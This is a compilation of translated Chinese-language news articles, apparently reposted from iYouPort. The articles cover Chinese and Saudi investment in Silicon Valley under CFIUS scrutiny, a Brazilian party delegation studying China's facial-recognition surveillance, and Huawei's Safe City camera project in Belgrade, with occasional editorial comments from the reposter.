萨勒曼[MBS]吸引的美国名人和他打通的那些门都不足为奇。硅谷在过去的十年中从沙特王子这样的人手里拿了很多钱，MBS的名字在这里尽人皆知。

Altman 和Andreessen 将加入一个顾问委员会，帮助沙特建设价值 5000 亿美元的城市项目。Thiel 和 Khosla 将报名参加利雅得-沙漠达沃斯的炫目会议。欢笑环绕四周。

但是，六个月后，MBS 下令在沙特领事馆野蛮杀害了华盛顿邮报专栏作家 Jamal Khashoggi。一些愤怒出现了，至少在表面上看起来是愤怒，访问被取消；硅谷是否正在重新考虑从这个独裁统治中获取金钱的主意是否真的很好？

「图」

「图」

A symbolic funeral prayer for Saudi journalist Jamal Khashoggi, killed and dismembered in the Saudi consulate in Istanbul, was held in Istanbul, Turkey, on November 16, 2018. Bulent Kilic/AFP/Getty Images

然而，愤怒，仅仅是一个小的、暂时的、稍纵即逝的时刻。

因为事实证明，这里并没有产生一个新的道德指南针，不会为外国资金对硅谷的渗透提供护栏。不过一个局外人不同 —— 美国联邦政府 —— 其目标不是穆罕默德·本·萨勒曼。而是，习近平。

在过去的一年里，中国而不是沙特阿拉伯，已经发现自己被冻结在硅谷之外，具有讽刺意味的是，谁能真正关心通过科技行业肆无忌惮地注入美国的外国资金问题？总的来说不是投资者或创业公司。应该是联邦政府。

硅谷的新规则

从外面看，硅谷只是在印钱，通过创业公司为你提供便宜的Uber设施。但是，如果你追踪通过风险投资公司进入创业公司的资金 —— 并追踪那些风险资本从他们所谓的合伙人那里获得的资金 —— 你就可以看到一场壮观的淘金热气候，全部都是渴望向饥饿的初创公司提供资金的海外投资者。

看看 Y Combinator Demo Day。十年来对于寻找下一家伟大公司的科技投资者们来说，这是个标志性的时刻；为最优秀的精英专业人士提供一个充满活力的机会去参看十几个或更多的初创公司，这些人是亲密到能彼此共享一个重要密码的朋友关系。场面足够小，可以放进YC

硅谷办公室的一个房间里。

而现在，Demo Day 更像是一个世界博览会，充斥着外来的和对外的数百个简介。上个月在旧金山湾旁举办的该会议上挤满了外国出生的企业家在这里大嚼M＆M饼干，向富裕的投资者和来自俄罗斯、西班牙、德国、尼日利亚、日本等地的政府官员推销创业公司。当然 —— 还有中国。

这是2019年的硅谷 —— 一个渴望实现其宏伟战略的外国游乐场。在某种程度上，这是可以接受的：如果美国在科技公司方面有绝对优势、如果资本主义是全球性的 —— 那么应该欢迎硅谷的转型。

美国欢迎外国资金进入纽约证券交易所和 Nasdaq；所以也应该欢迎外国资金进入美国私营公司，特别是来自新加坡等密切伙伴的资金。

但是，外国资金的增加使硅谷成为了风险资本家和创业公司的地缘政治雷区，要求美国创业公司做出判断，并对几十年来业内奇怪的迥异做出反应。

沙特阿拉伯的谁应该对谋杀 Jamal Khashoggi 负有直接责任？

华为是对美国国家安全的威胁吗？

“地缘政治的世界正在冒险”，活跃于网络安全领域的风险投资家 Rob Ackerman 说，“并不是非黑即白的，它处于灰色的中间地带，我们都在试图弄清这一点”。

现在居住在以色列的美国投资者 Mike Eisenberg 回忆起最近对一位企业家说的话：“你以为你在做生意。实际上你在做政治”。

甚至在过去两年重塑了每个美国行业的力量 即 唐纳德特朗普，加剧这一现实之前，情况就是如此。特朗普行政当局对源源不断输入硅谷的外国资金很不满意。

但是长期以来，硅谷的大多数人对待外国资金的态度都不过是耸耸肩，把钱视为钱，而不是真正考虑从某些国家引入资金的道德和监管挑战，这是来自 Recode 采访的50多个风险投资家、创业公司、律师和其他参与跨境投资的人士透露的。

而现在，硅谷正在争先恐后地评估自己在这个新世界秩序中的曝光率。

特别是来自两个国家的资金引发了硅谷关于创业公司及其投资者的争论：即 中国和沙特阿拉伯。

关于从中国接受资金的争论引发了两个矛盾的关于中国的基本政治信仰（这是美国舆论中典型的两极化观点之一）：一方面，中国被认为是一个高度复杂的美国对手，共产党的人悄悄渗透到硅谷，他们来到这里是为了窃取知识产权，或者就像其他寻求经济利益的外国玩家一样；另一方面这被认为是刻板印象，不公平的定位。

Recode 已经了解到，在过去一年中，由于美国外国投资委员会采取了更为激进的监管，有多达十几家与中国挂钩的公司缩减了在美国的投资计划（CFIUS）。

「图」

「图」

President Trump has reshaped the politics of startups, but it hasn't been the Saudi Arabians that have felt pressure to leave Silicon Valley. Jabin Botsford/The Washington Post via Getty Images

另一边，围绕从沙特接受资金的争论更为激烈：一些初创公司和投资者呼吁硅谷在 **Khashoggi** 被谋杀之后寻找道德支柱。但是，这些少数人的声音正在逐渐变得微弱。在信誉危机面前沙特人已经成功摆平，用他们的钱给硅谷戴上了手铐。

沙特人仍然间接地将数十亿美元投入热门创业公司，几乎没有受到任何公开的谴责。

事实证明，在沙特这边，高尚的态度并不是阻止外国资金的办法。

剥开硅谷资金的迷雾

当美国公司与外国投资者合作时，事情会变得相当混乱。

在优步，日本软银的外国投资者由于监管方面的担忧，可能永远不会占据他们的两个董事会席位，尽管他们在一年多前向该公司投了高达100亿美元之后一直在进行着艰苦的谈判。

在 Grindr，美国监管机构要求其中国所有者出售该同性恋约会应用程序，因为担心北京可能会将消费者数据用作勒索。

但要了解外国资金在硅谷周围存在的数量 —— 以及企业家在涉及国际水域的暗流时如何被扫地出门的 —— 只需要听听一家名为 Lucid Motors 的公司的故事。

Lucid 的故事展示了美国创业公司从非美国人那里拿钱时可能遇到的奇怪挑战。

「图」

「图」

Lucid Motors 是最雄心勃勃的初创公司之一，与 Elon Musk 的特斯拉作战，过去几年一直在努力设计豪华电动车。

为了开发电池然后从零开始制造一流的汽车，Lucid 不得不筹集大量资金。这可不总是那么容易的。

就像许多怀揣着巨大梦想而囊中羞涩的创业公司一样，Lucid Motors 已经将期待转向了海外。

“我们是一家美国公司，”该公司的首席执行官 Peter Rawlinson 告诉 The Verge，“我们将在美国制造世界上最好的汽车。”

Lucid 可能非常自豪地成为一家美国公司，但其投资基础几乎全部来自外国 —— 最近，这意味着来自沙特，而此前，意味着中国。

尽管该公司总部设在加利福尼亚州的纽瓦克，但几乎所有的融资都至少部分来自亚洲的投资者。

“他们是亚洲公司还是加州公司？”一位知情人士这样说到。“整个品牌都在加州附近。但是从内部看，它在亚洲具有很大的影响力。”

该公司的一半是由亚洲投资者拥有的。亚洲人的参与将导致一系列极不寻常的财务举措，显示了创业公司从外国投资者那里获取资金的风险。

这个故事集中于一位名叫贾跃亭的中国亿万富翁身上，他是中国企业集团 LeEco 的创始人，并于2011年率先投资了 Lucid 的前身公司。但回想起来，让贾进入该公司是一个错误。

慢慢地，秘密地，贾积累到了 Lucid 越来越多的所有权股份，一位知情人士表示，在2016年左右的所有权高峰期，贾拥有 Lucid 近

30%。

而且，事实证明，贾也是 Lucid 最接近的竞争对手之一的完整所有者，这是一家名为 Faraday Future 的电动汽车创业公司。

贾于2017年成为 Faraday 的首席执行官 —— 与 Lucid 发生明显且具有破坏性的利益冲突，当时 Lucid 正在亏损并探索可能的销售途径。

在美国的创业生态系统中，这种情况极为罕见 —— 风险投资公司拥有管理利益冲突的规则。

贾拒绝出售他的股票，引发了关于如何处理中国强盗男爵问题的无休止的争论。他没有总体规划，只是寻求控制。

「图」

「图」

“然后你就会不断地想，’这到底是怎么回事？’”一位知情人士回忆道，“只是一个不断地分心状态”。

一位消息人士说，最终，经过两年的磨合，贾最终屈服并出售了几乎所有的股份。

“他承认如果我们不让投资者进入，公司就会失败 —— 我们正在亏钱，失去员工，继续下去我们将失去一切，“这位消息人士说。“他[贾]可能很疯狂，但他在经济上并不擅长。”

故事的结局是什么？没有结局。仅仅是一个有争议的外国资金来源被换成了另一个有争议的外国资金来源。

这次是沙特。

准确说是沙特主权财富基金，在主权财富基金升级其在 Lucid 竞争对手特斯拉的股份时，他们在该公司投了10亿美元。一位知情人士表示，沙特人的参与 —— 而不是中国人 —— 使事情变得“好一些”。

据消息人士称，沙特协议受到的影响一直微乎其微，直到 Khashoggi 被杀 。但是，凭借多数股权，Lucid 现在是沙特在硅谷足迹的皇冠上宝石之一，为创业公司引入了一个全新的伦理和地缘政治问题。

这个传奇还没有结束。沙特人对 Lucid 的投资必须得到美国政府监管

机构 CFIUS 的批准。该部门一直拖着 —— 但五月份终于点亮了绿灯。

“America First” 如何袭击硅谷

事情就是这样：尽管沙特阿拉伯采取了令人毛骨悚然的杀戮行动、并长期拥有令人头疼的人权记录，但该国仍然是美国的盟友，并且从未试图做出引起美国“国家安全状态愤怒”的任何事：比如窃取美国的知识产权。

干这种事的主要是中国。美国政府的审查就是这么说的。

四年前，中国领导层宣布了一项新的十年愿景，即 将工业制造业经济转向技术和科学方面的专业知识：中国制造2025。美国的鹰派人士在2016年特朗普大选中将这一中国雄心视为一种威胁。

他们找到了一件武器：美国外国投资委员会（CFIUS），这是一个模糊不清的、并且在硅谷长期以来一直是陷入困境状态的无实权机构 —— 由财政部长担任主席。去年夏天，共和党人通过了一项法案，大大加强了 CFIUS 的调查资源，并授权该机构的能力范围扩展到少数股权投资领域。

硅谷想要继续忽视华盛顿是不行的。

「图」

「图」

去年修订的 CFIUS 立法背后的想法 —— 编纂成 2018年“外国投资风险评估现代化法案”（FIRRMA） —— 试图严格规范来自海外的所有新资金流入所谓的“关键技术”。但你没有必要挖掘潜台词就能弄清楚在法案的发起人看来谁是最大的坏蛋。

“我认为一直以来对中国的重视是不够的，”特朗普去年8月该法案通过后在白宫的罗斯福厅说道，“[中国的存在]已经有很长一段时间了。”

如果特朗普的目标是对中国设立障碍以保护硅谷，正如他后来所说的，其结果已经成功超越了他最大的预期。

“这是’美国第一’的象征”，Vertex Ventures 的投资者 Jonathan

Heiliger 表示，该公司主要由新加坡主权财富基金 Temasek 支持。

如果这就是战略，显然它起效了 。

技术部门如何变得如此偏执

让我们回顾一下，解释资金如何流经硅谷的风险投资生态系统。

风险投资公司利用合作伙伴的关系、经验和业绩记录，每隔两三年在一个“基金”中从所谓的有限合伙人那里筹集数百万美元 ——这些合作伙伴应该在公司中具有“有限的”运营影响力（实际的运营者是普通合伙人—或风险投资公司。）

然后风险投资公司出去投资于特定战略或特定类型的公司。虽然有限合伙人偶尔会直接投资创业公司，但这些机构很少与企业家建立关系，因此他们通常需要风险投资公司为他们做交易。

作为回报，风险投资公司向这些有限合伙人收取一小部分资金用于管理费，然后他们将其余部分投资于创业公司 —— 这些资金可以催生像 Instagram、Uber 或 Airbnb 这样的公司并创造巨额意外之财。当然，大多数投资都失败了，所以风险很高。

在过去的几年里，美国风险投资公司对来自中国的投资无法抗拒的态度可以理解为一种看不见的盲目或迟到的觉醒。但一夜之间，一个新监管环境的诞生引发了突然到来的偏执。

这种偏执是否值得，取决于你在美国更广泛的关于中国愿景的政治辩论中的立场。两个极端立场同时存在。

一些支持中国直接投资的倡导者将新监管规定视为普通民族主义，对所有中国人一视同仁 —— 无论是来自中国大陆的、香港还是台湾的 —— 并且认为联邦政府分不清习近平的专制政府和只是想投资于财务回报的富人商人。

“我真的无法做出这种区分，因为中国境内的每个人都对共产党及其目标感到满意，”赛门铁克前首席执行官 Michael Brown 说道，他是硅谷中国鹰派的主要代言人。

但是 ，⚠请注意，硅谷重量级人物 —— 甚至包括 **Brown** 本人—— 在提出遏制中国的论点时都没有提到人权问题或文化冲突。

对中国资金的担忧主要源于 CFIUS —— 而且，对于一些人来说，首先政府审查的根本原因是："知识产权盗窃"。而不是人权纪录。

这就解释了为什么联邦调查局官员正在硅谷涌现：最近几个月来，特工们一直在与投资者会面，以警告他们创业公司从中国拿钱的危险，据两位知情人士透露。

美国联邦调查局在被问及这件事时在一份声明中告诉 Recode，"联邦调查局与这些公司合作，提高他们对潜在的经济间谍活动和盗窃商业机密之威胁的认识"；"我们的目标是让公司意识到风险，并为他们提供必要的工具，以保护他们免受可能对其知识产权构成威胁的任何人的侵害。"

是 FIRRMA —— 虽然不是FBI —— 才是华盛顿的长矛之角。

在 FIRRMA 的帮助下，CFIUS 审查现在不仅可以在外国投资者拥有公司大部分股权的情况下启动，而且，当投资者在公司中拥有一些决策权时也可以启动调查，即使该投资者拥有的公司股票很少。

尤其是，如果该创业公司使用"关键技术"，将触发公司和外国投资者作为交易的一部分提交的审查，并且可能需要数周甚至数月才能获得任何类型的答案。

与在政府中被解释为"关键技术"相关的任何事都是不可取的。（"关键技术"是该法律中的一个标志性名词）而且，由于法律写得如此模糊 —— 有27个类别涵盖从"生物技术"到"电池制造"的所有内容都属于"关键技术" —— 风险投资公司变得非常诚惶诚恐。

如果创业公司处于前沿技术领域（比如 机器人或无人机），那就更糟了。有外国关系的投资者告诉 Recode 他们现在基本上认为大部分技术部门都属于*有效的禁区*。

而且，这种寒蝉效应是真实的。投资者建议他们的初创公司对外国资金 —— 特别是中国出资者 —— 持超谨慎态度。

硅谷的一些人甚至开展了一些项目，以确定所有主要由中国政府支持的风险投资公司 —— 制定自己的私人投资者黑名单。

美国联邦政府还赞助了两份报告，试图跟踪中国在硅谷的足迹 —— Brown 撰写的其中一篇报道，这对于鼓励 FIRRMA 的通过是至关重要的，不论是支持者还是批判者都同意这点。

「图」

「图」

Ilya Golubovich 说，他的公司决定放弃其在航空航天领域的一些投资组合："我本来希望留着那些公司的，但鉴于 CFIUS 的敏感性，我们做出了一项决定，即航空航天业不是我们想要触及的领域。" Ilya Golubovich 运营着一个三分之二来自俄罗斯和前苏联的有限合伙人支持的基金。

这种感觉是有普遍性的。一位活跃于边境技术公司融资领域的风险资本家表示，他现在认为他的投资组合公司也许永远无法从外国投资者那里筹集资金了。

这种状况也让创始人感到紧张，他们甚至在被抛给全球政治狼群之前就已经有了足够的担忧。

想象你自己置身于创业公司首席执行官的位子上，比如，与一位联合创始人争吵，处理违背合同的客户，或准备接纳更多的外部投资者。接受中国投资者的资金——这可能意味着等待 CFIUS 审查数个月，以及可能最终被禁止 —— 即便最终被通过也很可能没那么令人兴奋了。

一位风险资本家表示，她最近有两三次被创始人问到她是否有中国的有限合伙人（她确实有）。另一位风险资本家告诉 Recode，一些公司现在要求投资者签署附函，确认某些信息不会与其有限合伙人共享。

可以说，在这个美中关系的新时代，这种偏执是值得的 —— 当时特斯拉起诉一名前雇员涉嫌窃取知识产权并将其传递给中国竞争对手；一名中国籍女子走近特朗普的佛罗里达房产， 携带着包含恶意软件的USB驱动器 …… 过去七年来，美国政府提出的90%以上的经济间谍案都集中在中国。

可以肯定的是，一些创始人也报告了奇怪的经历。

一位备受瞩目的创业公司创始人告诉 Recode，他在2016年与一家由国家支持的中国实体就战略投资进行谈判。但在最后一刻，中国投资者要求确保他们能够获取客户数据和其他知识产权。然后这笔交易就破裂了。

第二位创始人告诉 Recode，由于担心该公司正试图吸收他们的知识

产权，他放弃了中国科技巨头3500万美元的投资。“他们显然正在记录并试图内化他们所能做的一切，”他说。

并且，一位从中国互联网巨头那里拿钱的创始人表示，他的外国潜在客户有时会质疑他的公司是否是中国政府企业间谍活动的前线。他不知道该说些什么。

中国僵尸资金的崛起

在这个新的世界秩序中，拥有中国或其他广泛的外国关系的投资者只有两种选择：离开美国、或冻结非美国人。

因此，随着硅谷 CEO 离开中国公司，大多数中国投资者并没有愚蠢地追求它们。银行家和风险资本家们表示，实际上很少有交易真正落空。双方越来越多地完全避免彼此。

问题在于，中国投资者已经在逆向选择中挣扎，或者以不那么优雅的方式表现出他们认为自己是底部供应商的看法。文化脱节和缺乏联系通常意味着一个拿中国钱的首席执行官是在向市场表明她的公司一直在努力筹集资金（是实在没路了的意思），而现在在 FIRRMA 时代尤其如此。

一位中国的投资者表示，自11月新的 FIRRMA 规定实施以来，他就没有在美国发布任何条款清单（引领投资回合的提议）。但他更积极地在海外寻找交易 —— 具有讽刺意味的是，经常转向回到中国投资。

Recode 已经了解到，有多达十几家与中国有关联的公司已经缩减了在美国的投资计划，其中一些公司是大幅缩减。

中国从硅谷的退出步伐一直是安静的、微妙的和难以追踪的。受到心理作用的驱动，一些中国投资者告诉 Recode，他们不喜欢在他们“被认为是敌人”的国家进行投资。

这已经催生了越来越多可以称之为僵尸基金的东西：中国支持的实体，即使仍在技术上运作，但实际上已经死亡。

以 WestSummit Capital 为例，该公司十年前从中国主权财富基金筹集了3亿美元，投资于像游戏平台 Unity 这样的创业公司。

消息人士称，该公司已经减少了支持美国公司的计划，现在转而专注

于世界其他地区，一位消息人士表示，它必须努力从中国首都以外的投资者那里筹集资金。

这家耗资8000亿美元的国有中国投资公司（CIC）曾希望在硅谷开设办事处。但是，现在一切都取消了。几乎肯定会在可预见的未来放弃对硅谷创业公司的任何直接投资。

据一位了解 CIC 活动的人士透露，CIC 仍持有少数基金中有限合伙人的股权，例如克里姆林宫支持的 DST Global，私募股权巨头 Silver Lake Partners，以及跨境投资者 DCM Ventures。但现在没有合理的投资者希望得到与中国国家直接有关的资金。

消息人士称，最近重新命名为 DHVC 的 Danhua Capital 等公司已经成为硅谷投资者中最不受欢迎的人，担心他们参与交易会危及交易。

「图」

「图」

投资者和其他工作人员已经逐渐离开阿里巴巴的旧金山办事处，从三年前的大约25人下降到今天的大约15人。

据知情人士透露，阿里巴巴的美国投资团队也出现了类似的下滑，因为它大幅缩减了美国的投资计划，一些投资者称只是无聊。

沙特人如何避免自己经历中国人的故事？

中东投资者正在处理与新加坡人、中国人和其他外国人相同的 CFIUS 问题。但他们还有一个基本的政治挑战：硅谷的一些人从根本上认为沙特人是邪恶的人。

在过去十年左右的时间里，中东寡头们已经悄悄将他们的现金刘流注入了硅谷。

原因在于：像沙特和阿联酋这样的国家的经济围绕着一种宝贵的资源—石油，年轻的领导层通过收购 Uber 和 Magic Leap 等美国公司的股票而开拓未来。这种想法比赌油碳的风险要小得多。

在硅谷这种糟糕的初创公司投资环境下，沙特人的钱特别受欢迎，被认为是“人傻钱多”。

根据 CB Insights 的数据，2016年沙特投资者的交易额高达53亿美

元，涉及19项不同的交易。

沙特计划跟随阿布扎比的主权财富基金穆巴达拉，在硅谷中心开设高端办事处。中东投资者已成功地与红杉资本、Thrive Global 和 Data Collective 这样的蓝筹风险投资公司合作，后者为他们提供了他们无法独立进军的创业公司。

一个双赢。

因此，穆罕默德·本·萨勒曼（Mohammed bin Salman）在2018年4月访问硅谷时吸引了一大群观众，这并不奇怪。这是技术圈与沙特关系的最高点。

但是，应沙特王室的要求，Jamal Khashoggi 在土耳其遭到残酷杀害。硅谷首次开始更加关注那些揣着数十亿美元支票的人。

如果中国人入侵硅谷会引发知识产权盗窃问题、保护主义监管和地缘政治竞争等问题，沙特的消费热潮就会引发道德、平等和基本人权等问题。

「图」

「图」

沙特仍然有六家国有企业在科技生态系统中投入了大量资金。它们的范围从看似无害的阿卜杜拉国王科技大学到更明显与国家相关的公共投资基金 —— 所有这些都与同一个王室有关。

但由于日本软银的450亿美元投资，沙特已经成为硅谷最强大的风险投资公司背后最强大的力量。

与其他国际投资者一样，SoftBank 也有 CFIUS 问题，但这个愿景基金是后期风险投资的主导力量。它提供了一种基本上没人在硅谷提供的产品：友好的检查、对创业公司创始人的高估值，这样他们就可以永远保持私有化。

在 Khashoggi 被谋杀之后，Vision Fund 只遭受了极少的反弹。它现有的投资组合公司对 **Vision Fund** 或其沙特支持几乎没说过任何话。

该基金与该国一些最有前途的初创公司达成了数十亿美元的交易 —— 即使是在 Khashoggi 去世后 —— 首席执行官偶尔会告诉记者，他们看到沙特与软银之间“存在一定距离”，

是的，一些风险资本家，比如 Felicis Ventures 的 Wesley Chan 和 Founders Fund 的 Keith Rabois 都认为沙特的钱是血钱，而硅谷应该拒绝它。然而事实是，他们正在输掉辩论。

“多数人的态度是不评论，普遍的态度是所有钱都是钱，也有一种更尖锐的态度，’我不会接受坏人的钱’”，联合创业公司 Knotel 的首席执行官 Amol Sarva 说，“尖锐的态度也是道德的态度，但它的问题在于你很难言行合一”。

这是因为在有道德意识的投资者看来，那些主张正义的人你们在2019年拿到的钱真的都那么干净吗？

“世界是如此复杂。当你处理巨额美元数字时，你处理的实际上是地缘政治”，Sarva 说。据报道，Sarva的创业公司正在从科威特的主权财富基金筹集资金。

如果你不从沙特阿拉伯拿钱，最好也不过是从新加坡的 Temasek 拿钱 —— 一般认为后者不是硅谷外国货币问题的一部分 —— 但是有人会说新加坡代表了一个不容忍言论自由的压抑社会；据知情人士透露，来自马来西亚主权财富基金的 Khazannah 的资金被创业公司和创始人质疑其与1MDB丑闻之间存在关系；或者拿卡塔尔的投资是否意味着一个拥有糟糕的人权记录并支持恐怖主义的国家的支持？

或者风险投资公司是否不应该从涉嫌爆炸性贿赂丑闻的精英大学的捐赠中获取资金？可是任何一家风险投资公司都不会拒绝硅谷最受欢迎的有限合伙人 Yale。那不会发生。

「图」

「图」

Will foreign money ever leave Silicon Valley? Justin Sullivan/Getty Images

中国和沙特阿拉伯的经验表明，外国资金将继续留在硅谷—— 直到政府决定真正关心和干涉。风险投资行业不会自我监管。初创公司几乎没有表现出对VC进行监管的任何意愿。

但是华盛顿呢？如果特朗普政府真的想遏制沙特的影响力，那么联邦政府就可以像对待中国人一样对待沙特人。显然华盛顿不会这样做。

“如果资金与我们的道德规范能保持一致当然很好，但事实上并不总

是这样，” 网络安全投资者 Rob Ackerman 说，“这只是人性的现实。”

“IF YOU’RE AN ENTREPRENEUR AND YOU HAVE CHOICES, WHY WOULD YOU TAKE MONEY FROM THEM? UNLESS YOU’RE A MASOCHIST.” Silicon Valley is awash in Chinese and Saudi cash — and no one is paying attention (except Trump)

原文

老大哥的联盟 - iYouPort

作恶者：中国在帮谁

巴西总统 Jair Bolsonaro 的参议员和国会议员受到了中国共产党政府的邀请，北京政府支付所有的旅行费用，这次旅行是为了让巴西新政权更加密切地了解面部识别监视系统。

这就是这次旅行的目的之一：让 Bolsonaro 的PSL（社会自由党）充分接触中国公民遭受大规模监控的主导者 即 政府总部，以及主导这项技术的中国公司。 **PSL** 的想法是与中国共产党人建立伙伴关系，并将这项技术带回巴西。

“中国人在公共安全问题上的技术远远领先于我们，作为里约热内卢州的代表，整套技术令我感觉非常兴奋，”巴西国会议员 Felício Laterça 在开始前对巴西新闻网站UOL说。

中国共产党利用监视系统，通过监视他们的公民，在没有被察觉的情况下对其公民进行广泛的社会、政治和宗教控制。虽然中国共产党政府表示只使用这种制度“打击罪犯”，但基督徒和持不同政见者经常受到惩罚和监禁。显然，在当权者眼中，任何他们不喜欢的人都被视为“罪犯”。

根据 UOL的消息，巴西国会 PSL 会议员和参议员们将提出一项法案，要求在公共场所建立面部识别系统，以协助执法机构打击犯罪和逮捕嫌疑人或逃犯。

「图」

「图」

中国一直在采用世界上最大、最现代化的监控系统之一，利用面部识别来瞄准公民—从而逮捕罪犯和嫌犯。该设备可以通过扫描人的面部，允许识别他们的性别和年龄，包括公民使用的汽车、更频繁的路线、他们的亲戚和他们与之接触的所有人、财务和专业数据等其他信息。

与共产主义中国的伙伴关系正值此时被广泛视为右翼的 Bolsonaro 政府明确谴责委内瑞拉尼古拉斯·马杜罗的独裁统治。当然，委内瑞拉的独裁政权远不如中国政府那么共产主义，马杜罗也没有像中国那样迫害基督徒。因此，谴责马杜罗的人有义务更多地谴责中国。

如果是在卢拉或迪尔玛政府（2002–2016）期间，巴西执政党派遣其参议员和国会议员到中国进口共产党的监督系统，肯定会引起社会的强烈抗议，所有保守派和右翼作家都会谴责它是控制公民的共产主义策略。但是，现在右翼的 Bolsonaro 政府已经这样做了，会发生什么呢？

Bolsonaro 的许多支持者批评教皇弗朗西斯科派代表参加马杜罗的就职典礼。但 Bolsonaro 政党的参议员和国会议员做出了更糟糕的事，谁会来批评呢？

即使 **Bolsonaro** 的政党派其参议员和国会议员到美国购买棱镜类的监视系统，这仍然是一种独裁的控制。多年来，美国人一直在谴责政府对美国公民的不道德监视。爱德华·斯诺登对这一全球性监视制度的曝光得到了广泛的支持。

无论是从共产主义中国还是从资本主义美国进口这种老大哥技术，国家对公民的持续监视和控制都是非常危险的。

无论是 Lula 的工人党还是 Bolsonaro 的 PSL 正在寻求这样的监控，它都应该被曝光出来。

我最喜欢的电视节目之一是“感兴趣的人”，Jim Caviezel 努力阻止美国政府控制超级计算机以进行全民监视。不幸的是，监控问题不仅存在于电视节目中，它就是现实。谁能说出真相？—— 巴西右翼政府希望共产主义中国能够帮助监视巴西公民。

Senators and Congressmen of President Jair Bolsonaro’s party were invited by the Chinese communist government, which is paying all travel expenses, for them to get a closer look at the facial recognition system. Whether being imported from communist China or the U.S., constant state surveillance and control of citizens is a dangerous thing.

原文

贝尔格莱德欢迎中国老大哥 - iYouPort

作恶者：中国在帮谁

这篇文章有些片面，但故事本身是真实的

「图」

「图」

Serbian President Aleksandar Vucic, left, shakes hands with Chinese President Xi Jinping, right, before the meeting at the Great Hall of People in Beijing, China on April 25, 2019. (Kenzaburo Fukuhara/POOL/Kyodonews)

2014年，一名年轻男子在塞尔维亚首都贝尔格莱德的一场肇事逃逸车祸中丧生。警方的追踪失败。

接下来的一个月，塞尔维亚警察发现嫌疑人逃到了中国的一个城市，他们向中国当局提供了嫌疑人的照片。

仅仅三天之后，中国警方在尖端技术的帮助下逮捕了这名男子。

请注意，那是**2014**年。不是**2019**。

这给塞尔维亚官员留下了深刻的印象。当时他们仍在使用模拟监控设备和技术能力有限的设施，这与他们的中国同行截然不同。

中国电信巨头华为去年8月描述了这一事件（对日期和关键细节进行了一些修改），作为该公司在塞尔维亚实施的安全城市项目的案例研究。

这家中国公司声称其安全城市项目将缩短警方调查时间，提高追捕和逮捕率，遏制有组织犯罪，并降低整体犯罪率。

由于塞尔维亚公众强烈反对监视系统影响塞尔维亚公民的生活，该研究已从公司网站上删除。

华为的监控系统包括在塞尔维亚首都的800个地点安装1,000台高清摄像头，使用面部识别和车牌识别软件，未来两年安装完成。

今年年初，塞尔维亚内政部长 Nebojsa Stefanovic 宣布该项目即将开始，并将涵盖贝尔格莱德的每条重要街道和通道。

然而，在 Stefanovic 发表评论前五个月发布的华为案例研究指出，在第一阶段，其项目团队已经在该市60个重点站点部署了100多个摄像机和视频管理系统。

在整个欧洲和北美，对华为技术最大的担忧之一是它可以被用来加强专制系统 —— 而这正是塞尔维亚这样的监控结构所能做到的。

- ○ 任何监视技术都在加强专制统治，和品牌没有关系。这篇文章错过了这一点。** 在该国目前的政治气候中，公民不会感到安全，而是会被恐惧所击垮。

塞尔维亚已经成为一种试验品：它的案例代表了对其他国家如何应对类似挑战的考验。

总部位于塞尔维亚的人权组织 Share Foundation 认为，用于面部识别的软件严重侵犯了基本的公民权利和自由。

“面部识别技术非常具有侵入性，因为它收集了大量公民的生物识别数据。如果没有进行数据保护影响评估，并且没有精确的处理规则，这些敏感数据可能会被滥用”，Share 的政策研究员 Bojan Perkov 说。

当该组织询问塞尔维亚当局是否进行了此类评估时，当局回应的是，规范这一领域的塞尔维亚法律尚未适用。

鉴于数据泄露有可能会产生深远的影响，这是令人担忧的。

“在比塞尔维亚具有更好的数据保护规则和更高的隐私意识的国家，大规模的数据泄露事件也在发生”，Perkov 说。

基金会利用信息自由请求向塞尔维亚警方询问监视摄像机的位置，但他们说信息是保密的因此拒绝回复。

然而，上个月一个亲政府的媒体机构确实报道了前32台监视摄像机的位置。由于保密，与华为达成的协议的其他细节仍然很少。

尽管公民和隐私团体担心，但华为认为它只是该项目的供应商，并且符合塞尔维亚的所有适用法律和法规。

“该项目的所有者是塞尔维亚共和国内政部。我们根据客户的指示和授权提供设备并作为数据处理器运行，而不是数据和隐私信息的控制者”。华为发言人说。

在现已删除的贝尔格莱德案例研究中，该公司吹嘘自己已经在全球230个城市部署了安全城市系统，为90多个国家或地区政府提供服务。

马耳他、土耳其、俄罗斯、乌克兰、阿塞拜疆和哈萨克斯坦等地都有项目。

塞尔维亚与中国的合作可以追溯到2009年，当时两国签署了公共安全部门之间的协议，

2014年，华为进入市场，签署了安全城市项目谅解备忘录。

两年前，华为与塞尔维亚政府签署了战略伙伴关系，并扩展到塞尔维亚教育机构信息和通信基础设施的发展。

今年，塞尔维亚当局还要求华为帮助他们在高速公路上安装宽带互联网基础设施。

上个月，在中国公安部长赵克智的访问中，塞尔维亚总统亚历山大·武齐奇宣布，两国在各个领域都有“钢铁般的”友谊和强大的全面战略伙伴关系，特别是在安全问题上。

由于美国的限制开始给华为带来压力，塞尔维亚官员表示他们没有放弃与中国公司合作的计划。

华盛顿指责华为代表北京进行间谍活动，而在塞尔维亚，与中国和华为的关系没有摩擦。

事实上，这一合作有利于双方：与北京和科技巨头的合作对 Vucic 有利，因为可以同时带来投资和维持对政治对手控制的手段。

巴尔干地区可以成为华为进入欧洲的后门。

中国政府通过“一带一路”倡议在该地区占据重要地位，为各种基础设施和能源项目提供资金。

仅在塞尔维亚，中国的基础设施项目就估计价值约100亿美元。

塞尔维亚自2012年以来一直是欧盟候选国。两年后，贝尔格莱德开始谈判加入欧盟。

但最近，由于塞尔维亚拒绝承认邻国科索沃，这一进程已停滞不前。中国在科索沃问题上的立场与塞尔维亚的立场一致—北京对寻求独立的分裂省份并不十分看好。

然而，Vucic 在该国的问题不仅限于科索沃。缺乏媒体自由、增强的专制倾向、威胁法治和高腐败程度是过去六个月反对派抗议活动背后的推动力。

成千上万的塞尔维亚公民每周六晚上聚集在贝尔格莱德，抗议执政的进步党。

Vucic 本人淡化了这些示威活动的重要性，称抗议者人数远远少于塞尔维亚媒体报道的数量。

Vucic 甚至呼吁使用无人机记录他的支持者人数，这些支持者在反对派今年最大的抗议活动后不久在4月下旬举行集会。

拥有华为的监控技术，Vucic 现在可以凭借战略性的摄像头和面部识别系统独立完成监视需求。

塞尔维亚警方不仅可以了解抗议者的数量，还可以了解他们的身份。

“不仅不清楚将与华为分享多少数据，而且还不清楚政府将如何使用这些数据……这最终会破坏公民自由表达自己的愿望，因为他们害怕受到谴责”，巴尔干地区的互联网治理顾问说。

所有这些发展都表明，巴尔干国家可能是中国及其科技巨头展示其建立监视国家能力的绝佳机会。

